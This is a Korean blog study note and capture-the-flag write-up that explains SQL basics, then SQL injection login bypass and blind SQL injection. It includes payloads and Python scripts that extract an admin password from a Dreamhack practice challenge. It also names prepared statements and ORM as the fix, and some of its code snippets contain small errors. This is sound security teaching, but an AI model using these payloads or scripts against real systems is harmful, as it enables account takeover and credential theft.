SQL
SQL은 RDBMS의 데이터를 정의하고 질의, 수정등을 하기 위해 고안된 언어입니다. SQL은 구조화된 형태를 가지는 언어로 웹 어플리케이션이 DBMS와 상호작용할 때 사용됩니다. SQL은 사용 목적과 행위에 따라 다양한 구조가 존재하며 대표적으로 아래와 같이 구분됩니다.
- DDL
- 데이터를 정의하기 위한 언어입니다. 데이터를 저장하기 위한 스키마, 데이터베이스의 생성/수정/삭제 등의 행위를 수행합니다.
- DML
- 데이터를 조작하기 위한 언어입니다. 실제 데이터베이스 내에 존재하는 데이터에 대해 조회/저장/삭제 등의 행위를 수행합니다.
- DCL
- 데이터베이스의 접근 권한 등의 설정을 하기 위한 언어입니다. 데이터베이스 내에 이용자의 권한을 부여하기 위한 GRANT와 권한을 박탈하는 REVOKE등이 대표적입니다.
DDL
데이터를 다루기 위해 데이터베이스와 테이블을 생성해야 하며, DDL을 사용해야 합니다. DDL의 CREATE를 사용하여 데이터베이스 또는 테이블을 생성할 수 있습니다.
CREATE DATABASE Dreamhack;
또한 앞서 생성한 데이터베이스에 Board테이블을 생성하는 쿼리문입니다.
USE Dreamhack;
# Board 이름의 테이블 생성
CREATE TABLE Board {
idx INT AUTO_INCREMENT,
boardTitle VARCHAR(100) NOT NULL,
boardContent VARCHAR(2000) NOT NULL,
PRIMARY KEY(idx)
}
DML
생성된 테이블에 데이터를 추가하기 위해 DML을 사용합니다. 새로운 데이터를 생성하는 INSERT, 데이터를 조회하는 SELECT, 그리고 데이터를 수정하는 UPDATE의 예시입니다.
Board 테이블에 데이터를 삽입하는 쿼리문입니다.
INSERT INTO
Board(boardTitle, boardContent, createdDate)
Values(
'Hello',
'World!',
Now()
)
Board 테이블의 데이터를 조회하는 쿼리문입니다.
SELECT
boardTitle, boardContent
FROM
Board
WHERE
idx=1;
Board 테이블의 컬럼 값을 변경하는 쿼리문입니다.
UPDATE Board SET boardContent='DreamHack!'
Where idx=1;
SQL Injection
/*
아래 쿼리 질의는 다음과 같은 의미를 가지고 있습니다.
- SELECT: 조회 명령어
- *: 테이블의 모든 컬럼 조회
- FROM accounts: accounts 테이블 에서 데이터를 조회할 것이라고 지정
- WHERE user_id='dreamhack' and user_pw='password': user_id 컬럼이 dreamhack이고, user_pw 컬럼이 password인 데이터로 범위 지정
즉, 이를 해석하면 DBMS에 저장된 accounts 테이블에서 이용자의 아이디가 dreamhack이고, 비밀번호가 password인 데이터를 조회
*/
SELECT * FROM accounts WHERE user_id='dreamhack' and user_pw='password'
로그인 시에 ID/PW를 포함하거나, 게시글의 제목과 내용을 SQL의 구문에 포함합니다. 위의 쿼리문은 로그인 할 때 어플리케이션이 DBMS에 질의하는 예시 쿼리입니다. 위와 같이 이용자가 SQL구문이 임의 문자열을 삽입하는 행위를 SQL Injection이라고 합니다. SQL Injection이 발생하면 조작된 쿼리로 인증을 우회하거나, 데이터베이스의 정보를 유출할 수 있습니다.
/*
아래 쿼리 질의는 다음과 같은 의미를 가지고 있습니다.
- SELECT: 조회 명령어
- *: 테이블의 모든 컬럼 조회
- FROM accounts: accounts 테이블 에서 데이터를 조회할 것이라고 지정
- WHERE user_id='admin': user_id 컬럼이 admin인 데이터로 범위 지정
즉, 이를 해석하면 DBMS에 저장된 accounts 테이블에서 이용자의 아이디가 admin인 데이터를 조회
*/
SELECT * FROM accounts WHERE user_id='admin'
위 쿼리문은 SQL Injection으로 조작한 쿼리문의 예시입니다. user_pw 조건문이 사라진 것을 확인할 수 있습니다. 조작한 쿼리를 통해 질의하면 DBMS는 ID가 admin인 계정의 비밀번호를 비교하지 않고 해당 계정의 정보를 반환하기 때문에 이용자는 admin계정으로 로그인할 수 있게 됩니다.
Simple SQL Injection
실습 모듈의 목표는 쿼리 질의를 통해 admin결과를 반환하는 것입니다. SQL Injection공격에서 제일 중요한 것은 이용자의 입력값이 SQL구문으로 해석되도록 해야 합니다. uid에 admin' or '1을 입력하고, 비밀번호를 입력하지 않았을 때 생성되는 쿼리문은 다음과 같습니다.
SELECT * FROM user_table WHERE uid='admin' or '1' and upw='';
쿼리문을 살펴보면 두 개의 조건으로 나눠볼 수 있습니다. 첫 번쨰 조건은 uid가 "admin"인 데이터, 두 번째 조건은 이전의 식이 참(TRUE)이고, upw가 없는 경우 입니다. 첫 번쨰 조건은 admin을 반환하고, 두 번째 조건은 아무런 결과도 반환하지 않습니다. 다시 말해, uid가 'admin'인 데이터를 반환하기 때문에 관리자 계정으로 로그인할 수 있습니다. 이 외에도 줙( --, #, /**/ )을 사용하는 등 다양한 방법으로 SQL Injection을 시도할 수 있습니다.
SELECT * FROM user_table WHERE uid='admin'-- ' and upw='';
Blind SQL Injection
SQL Injection을 통해 의도하지 않은 결과를 반환해 인증을 우회하는 것을 실습했습니다. 해당 공격은 인증 우회 이외에도 데이터베이스의 데이터를 알아낼 수 있습니다. 이 때 사용할 수 있는 공격 기법으로는 Blind SQL Injection이 있습니다. 해당 공격 기법은 스무고개 게임과 유사한 방식으로 데이터를 알아낼 수 있습니다.
그 전에 2가지 함수에 대해서 알아보겠습니다.
ascii
ascii('a)
/*
'a'문자의 아스키 값인 97을 반환
*/
substr
substr(string, position, length)
substr('ABCD', 1, 1) = 'A'
substr('ABCD', 2, 2) = 'BC'
Blind SQL Injection 공격 쿼리
# 첫 번째 글자 구하기 (아스키 114 = 'r', 115 = 's'')
SELECT * FROM user_table WHERE uid='admin' and ascii(substr(upw,1,1))=114-- ' and upw=''; # False
SELECT * FROM user_table WHERE uid='admin' and ascii(substr(upw,1,1))=115-- ' and upw=''; # True
# 두 번째 글자 구하기 (아스키 115 = 's', 116 = 't')
SELECT * FROM user_table WHERE uid='admin' and ascii(substr(upw,2,1))=115-- ' and upw=''; # False
SELECT * FROM user_table WHERE uid='admin' and ascii(substr(upw,2,1))=116-- ' and upw=''; # True
공격 쿼리문의 두 번째 조건을 살펴보면, upw의 첫 번쨰 값을 아스키 형태로 변환한 값이 114('r') 또는 115('s')인지 질의합니다. 질의 결과는 로그인 성공 여부로 참/거짓을 판단할 수 있습니다. 만약 로그인이 실패할 경우 첫 번쨰 문자가 'r'이 아님을 의미합니다. 이처럼 쿼리문의 반환 결과를 통해 admin 계정의 비밀번호를 획득할 수 있습니다.
Blind SQL Injection 공격 스크립트
Blind SQL Injection은 한 바이트씩 비교하여 공격하는 방식이기 때문에 다른 공격에 비해 많은 시간을 들여야 합니다. 이러한 문제를 해결하기 위해서는 공격을 자동화하는 스크립트를 작성하는 방식이 있습니다. 공격 스크립트를 작성하기에 앞서 유용한 라이브러리를 알아보겠습니다.
파이썬은 HTTP통신을 위한 다양한 모듈이 존재하는데, 대표적으로 requesets모듈이 있습니다. 해당 모듈은 다양한 메소드를 사용해 HTTP요청을 보낼 수 있으며, 응답 또한 확인할 수 있습니다.
import requests
import string
url = 'http://example.com/login'
params = {
'uid': '',
'upw': '',
}
tc = string.ascii_letters + string.digits + string.punctuation
# abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!"#$%&'()*+,-./:;<=>?@[\]^_`{|}~
query = '''
admin' and ascii(substr(upw, {idx}, 1))={val}--
'''
password = ''
for idx in range(0, 20):
for ch in tc:
params['uid'] = query.format(idx=idx, val=ord(ch)).strip('\n')
c = requests.get(url, params=params)
print(c.request.url)
if c.text.find("Login success") != -1:
password += chr(ch)
break
print(f"Password is {password}")
다음과 같이 자동화 코드를 작성할 수 있게 됩니다.
워게임 실습
우선 구성된 데이터베이스는 위와 같이 database.db파일로 관리되고 있습니다.
또한 guest계정은 이용자가 알 수 있지만 admin계정은 랜덤하게 생성된 16바이트의 문자이기 때문에 비밀번호를 예상할 수 없습니다.
/login 엔드포인트
GET /login을 하게 되면 userid와 password를 입력받을 수 있는 로그인 페이지를 제공합니다. userid와 password입력창에 guest를 입력하면 로그인을 수행할 수 있습니다.
POST /login을 하게 되면, 이용자가 form에 입력한 정보가 데이터베이스에 존재하는지 확인합니다. 이때, 로그인 계정이 admin일 경우 FLAG를 출력합니다.
취약점 분석
위 문제를 풀이하는 접근 방법은 여러가지 입니다. 관리자 계정의 비밀번호를 모른채로 로그인을 우회하여 풀이하는 방법과, 관리자 계정의 비밀번호를 알아내고 올바른 경로로 로그인 하는 방법으로 크게 두 가지로 나눌 수 있습니다.
여기서는 로그인을 우회하여 풀이하는 방법으로 문제를 풀어보도록 하겠습니다.
위에서는 userid와 userpassword를 이용자에게 입력받고, 동적으로 쿼리문을 생성한 뒤 query_db함수에서 SQLite에 질의합니다. 이렇게 동적으로 생성한 쿼리를 RawQuery라고 합니다. RawQuery를 생성할 때, 이용자의 입력값이 쿼리문에 포함되면 SQL Injection 취약점에 노출될 수 있습니다. 이용자의 입력값을 검사하는 과정이 없기 때문에 임의의 쿼리문을 userid또는 userpassword에 삽입해 SQL Injection공격을 수행할 수 있습니다.
익스플로잇
SELECT * FROM users WHERE userid="{userid}" AND userpassword="{userpassword}";
저희는 위 쿼리문을 조작해서 admin이라는 결과가 나오게 해야 합니다.
아래에 admin계정으로 로그인할 수 있는 SQL Injection 코드를 작성해 보았습니다. SQL은 수 많은 조건절을 제공하기 때문에 이를 통해 다양한 방법으로 공격을 시도할 수 있습니다.
/*
ID: admin, PW: DUMMY
userid 검색 조건만을 처리하도록, 뒤의 내용은 주석처리하는 방식
*/
SELECT * FROM users WHERE userid="admin"-- " AND userpassword="DUMMY"
/*
ID: admin" or "1 , PW: DUMMY
userid 검색 조건 뒤에 OR (또는) 조건을 추가하여 뒷 내용이 무엇이든, admin 이 반환되도록 하는 방식
*/
SELECT * FROM users WHERE userid="admin" or "1" AND userpassword="DUMMY"
/*
ID: admin, PW: DUMMY" or userid="admin
userid 검색 조건에 admin을 입력하고, userpassword 조건에 임의 값을 입력한 뒤 or 조건을 추가하여 userid가 admin인 것을 반환하도록 하는 방식
*/
SELECT * FROM users WHERE userid="admin" AND userpassword="DUMMY" or userid="admin"
/*
ID: " or 1 LIMIT 1,1-- , PW: DUMMY
userid 검색 조건 뒤에 or 1을 추가하여, 테이블의 모든 내용을 반환토록 하고 LIMIT 절을 이용해 두 번째 Row인 admin을 반환토록 하는 방식
*/
SELECT * FROM users WHERE userid="" or 1 LIMIT 1,1-- " AND userpassword="DUMMY"
이러한 문제점은 이용자의 입력값이 포함된 쿼리를 동적으로 생성하고 사용하면서 발생합니다. SQL데이터를 처리할 때 쿼리문을 직접 생성하는 방식이 아닌 Prepared Statement와 Object Relational Mapping(ORM)을 사용해 해결할 수 있습니다.. 이는 동적 쿼리가 전달되면 내부적으로 쿼리를 분석해 수행해 안전한 쿼리문을 생성합니다.
그 다음으로는 바로 Blind SQL Injection을 통해 실습해 보도록 하겠습니다.
비밀번호는 SQLLite의 users테이블에 있으므로, 이 테이블의 값을 읽는 Blind SQL Injection코드를 작성하겠습니다.
비밀번호를 구성할 수 있는 문자를 출력 가능한 아스키 문자로 제한했을 때, 한 자리에 들어갈 수 있는 문자의 종류는 94 (0x29 ~ 0x7E)개 입니다.
/BlindInjection.py
import requests
from urllib.parse import urljoin
class Solver:
"""Solver for simple_SQLi challenge"""
# initialization
def __init__(self, port: str) -> None:
self._chall_url = f"http://host1.dreamhack.games:{port}"
print(self._chall_url)
self._login_url = urljoin(self._chall_url, "login")
# base HTTP methods
def _login(self, userid: str, userpassword: str) -> bool:
login_data = {
"userid": userid,
"userpassword": userpassword
}
resp = requests.post(self._login_url, data=login_data)
return resp
# base sqli methods
def _sqli(self, query: str) -> requests.Response:
resp = self._login(f"\" or {query}-- ", "DUMMY")
return resp
def _sqli_lt_binsearch(self, query_tmpl: str, low: int, high: int) -> int:
while 1:
mid = (low + high) // 2
if(low+1 >= high):
break
query = query_tmpl.format(val=mid)
# hello가 있다는 것은 userpassword가 작다는 것이므로
# 그 아래에서 binarysearch를 해가면 된다
if "hello" in self._sqli(query).text:
high = mid
else:
low = mid
return mid
# attack methods
def _find_password_length(self, user: str, max_pw_len: int = 100) -> int:
query_tmpl = f"((SELECT LENGTH(userpassword) WHERE userid=\"{user}\") < {{val}})"
pw_len = self._sqli_lt_binsearch(query_tmpl, 0, max_pw_len)
return pw_len
def _find_password(self, user: str, pw_len: int) -> str:
pw = ''
for idx in range(1, pw_len + 1):
query_tmpl = f"((SELECT SUBSTR(userpassword, {idx}, 1) WHERE userid=\"{user}\") < CHAR({{val}}))"
pw += chr(self._sqli_lt_binsearch(query_tmpl, 0x2f, 0x7e))
print(f"{idx}. {pw}")
return pw
def solve(self):
pw_len = solver._find_password_length("admin")
print(f"Length of admin password is: {pw_len}")
# Find the admin password
print("Finding password:")
pw = solver._find_password("admin", pw_len)
print(f"Password of the admin is: {pw}")
if __name__ == "__main__":
solver = Solver(12084)
solver.solve()
다음과 같이 binary search로 admin계정의 비밀번호 길이를 알아내고 위 연습에서 살펴본 CHAR, SUBSTR을 활용하여 비밀번호를 하나씩 알아내서 비밀번호 문자열을 알아냈습니다.
이와 같이 Blind SQL Injection 워게임 문제를 하나 풀어봤습니다.
'School > Security' 카테고리의 다른 글
[ Web Hacking ] No-SQL Injection (0) | 2022.05.30 |
---|---|
[ Reverse Engineering ] - ABOUT (0) | 2022.05.28 |
[ Web Hacking ] - CSRF (0) | 2022.05.28 |
[ Web Hacking ] - XSS Bypass (0) | 2022.05.28 |
[ Web Hacking ] - XSS (0) | 2022.05.27 |